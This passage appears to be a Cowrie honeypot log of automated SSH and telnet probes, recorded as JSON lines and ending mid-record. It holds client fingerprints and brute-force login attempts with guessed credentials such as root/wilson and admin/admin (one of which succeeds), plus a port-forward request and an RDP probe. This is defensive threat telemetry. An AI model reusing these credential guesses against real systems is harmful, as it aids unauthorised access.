{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54936,"dst_ip":"10.17.0.5","dst_port":23,"session":"c552914ef9f6","protocol":"telnet","message":"New connection: 192.119.13.58:54936 (10.17.0.5:23) [session: c552914ef9f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:22:44.908366Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":42186,"dst_ip":"159.203.135.109","dst_port":22,"session":"d4b79595f39a","protocol":"ssh","message":"New connection: 103.24.63.85:42186 (159.203.135.109:22) [session: d4b79595f39a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:22:47.194541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:22:47.199373Z","src_ip":"103.24.63.85","session":"d4b79595f39a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:22:47.389805Z","src_ip":"103.24.63.85","session":"d4b79595f39a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"uftp123","message":"login attempt [uftp/uftp123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:22:48.199018Z","src_ip":"103.24.63.85","session":"d4b79595f39a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39270,"dst_ip":"10.17.0.5","dst_port":23,"session":"0cdd87768ca1","protocol":"telnet","message":"New connection: 192.119.13.58:39270 (10.17.0.5:23) [session: 0cdd87768ca1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:22:48.530368Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:22:49.392632Z","src_ip":"103.24.63.85","session":"d4b79595f39a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.88111734390259,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:22:50.477378Z","src_ip":"192.119.13.58","session":"dc31e5a29298","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.33130216598511,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:22:58.300056Z","src_ip":"192.119.13.58","session":"1c6a634acf9e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.171940088272095,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:22:58.948029Z","src_ip":"192.119.13.58","session":"743f92d8da90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":47814,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c865ac6df0e","protocol":"ssh","message":"New connection: 87.251.64.176:47814 (10.17.0.5:22) [session: 1c865ac6df0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:23:03.049309Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:23:03.057865Z","src_ip":"87.251.64.176","session":"1c865ac6df0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:23:03.154262Z","src_ip":"87.251.64.176","session":"1c865ac6df0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":49132,"dst_ip":"159.203.135.109","dst_port":22,"session":"80b61349cd84","protocol":"ssh","message":"New connection: 103.24.63.85:49132 (159.203.135.109:22) [session: 80b61349cd84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:23:03.279989Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:23:03.351243Z","src_ip":"103.24.63.85","session":"80b61349cd84","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:23:03.451593Z","src_ip":"87.251.64.176","session":"1c865ac6df0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:23:03.500242Z","src_ip":"103.24.63.85","session":"80b61349cd84","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:23:03.551118Z","session":"1c865ac6df0e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:23:03.649058Z","src_ip":"87.251.64.176","session":"1c865ac6df0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:23:03.751124Z","src_ip":"87.251.64.176","session":"1c865ac6df0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"data","password":"data","message":"login attempt [data/data] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:23:04.266453Z","src_ip":"103.24.63.85","session":"80b61349cd84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:23:05.466215Z","src_ip":"103.24.63.85","session":"80b61349cd84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":52422,"dst_ip":"159.203.135.109","dst_port":22,"session":"3206e8d98118","protocol":"ssh","message":"New connection: 194.113.233.25:52422 (159.203.135.109:22) [session: 3206e8d98118]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:23:05.648001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:23:05.653736Z","src_ip":"194.113.233.25","session":"3206e8d98118","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:23:05.743929Z","src_ip":"194.113.233.25","session":"3206e8d98118","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"7895123","message":"login attempt [root/7895123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:23:06.015023Z","src_ip":"194.113.233.25","session":"3206e8d98118","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":57843,"dst_ip":"159.203.135.109","dst_port":22,"session":"f76486936354","protocol":"ssh","message":"New connection: 152.42.212.128:57843 (159.203.135.109:22) [session: f76486936354]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:23:06.177097Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:23:06.181724Z","src_ip":"152.42.212.128","session":"f76486936354","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:23:06.184769Z","src_ip":"152.42.212.128","session":"f76486936354","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:23:07.108936Z","src_ip":"194.113.233.25","session":"3206e8d98118","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.181.124.9","src_port":60398,"dst_ip":"159.203.135.109","dst_port":22,"session":"bdbd611e61a4","protocol":"ssh","message":"New connection: 5.181.124.9:60398 (159.203.135.109:22) [session: bdbd611e61a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:23:10.363631Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:23:10.776649Z","src_ip":"5.181.124.9","session":"bdbd611e61a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:23:11.374697Z","src_ip":"5.181.124.9","session":"bdbd611e61a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wilson","message":"login attempt [root/wilson] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:23:13.375976Z","src_ip":"5.181.124.9","session":"bdbd611e61a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:23:14.940732Z","src_ip":"5.181.124.9","session":"bdbd611e61a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39480,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8c2f72a5d0f","protocol":"telnet","message":"New connection: 192.119.13.58:39480 (10.17.0.5:23) [session: a8c2f72a5d0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:23:26.070106Z"}
{"eventid":"cowrie.session.closed","duration":42.67211556434631,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:23:27.580342Z","src_ip":"192.119.13.58","session":"c552914ef9f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":57198,"dst_ip":"10.17.0.5","dst_port":22,"session":"6bdfc9d7ffd1","protocol":"ssh","message":"New connection: 109.237.96.109:57198 (10.17.0.5:22) [session: 6bdfc9d7ffd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:23:28.301188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:23:28.306155Z","src_ip":"109.237.96.109","session":"6bdfc9d7ffd1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:23:28.396782Z","src_ip":"109.237.96.109","session":"6bdfc9d7ffd1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lovelove","message":"login attempt [root/lovelove] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:23:28.673928Z","src_ip":"109.237.96.109","session":"6bdfc9d7ffd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:23:29.766666Z","src_ip":"109.237.96.109","session":"6bdfc9d7ffd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.84624099731445,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:23:33.376460Z","src_ip":"192.119.13.58","session":"0cdd87768ca1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46374,"dst_ip":"10.17.0.5","dst_port":23,"session":"598e0d2423ed","protocol":"telnet","message":"New connection: 192.119.13.58:46374 (10.17.0.5:23) [session: 598e0d2423ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:23:34.422778Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58432,"dst_ip":"10.17.0.5","dst_port":23,"session":"252d522e8dce","protocol":"telnet","message":"New connection: 192.119.13.58:58432 (10.17.0.5:23) [session: 252d522e8dce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:23:42.599563Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":60956,"dst_ip":"159.203.135.109","dst_port":22,"session":"edc1ef5b861d","protocol":"ssh","message":"New connection: 147.45.211.215:60956 (159.203.135.109:22) [session: edc1ef5b861d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:23:45.681274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:23:45.685724Z","src_ip":"147.45.211.215","session":"edc1ef5b861d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["non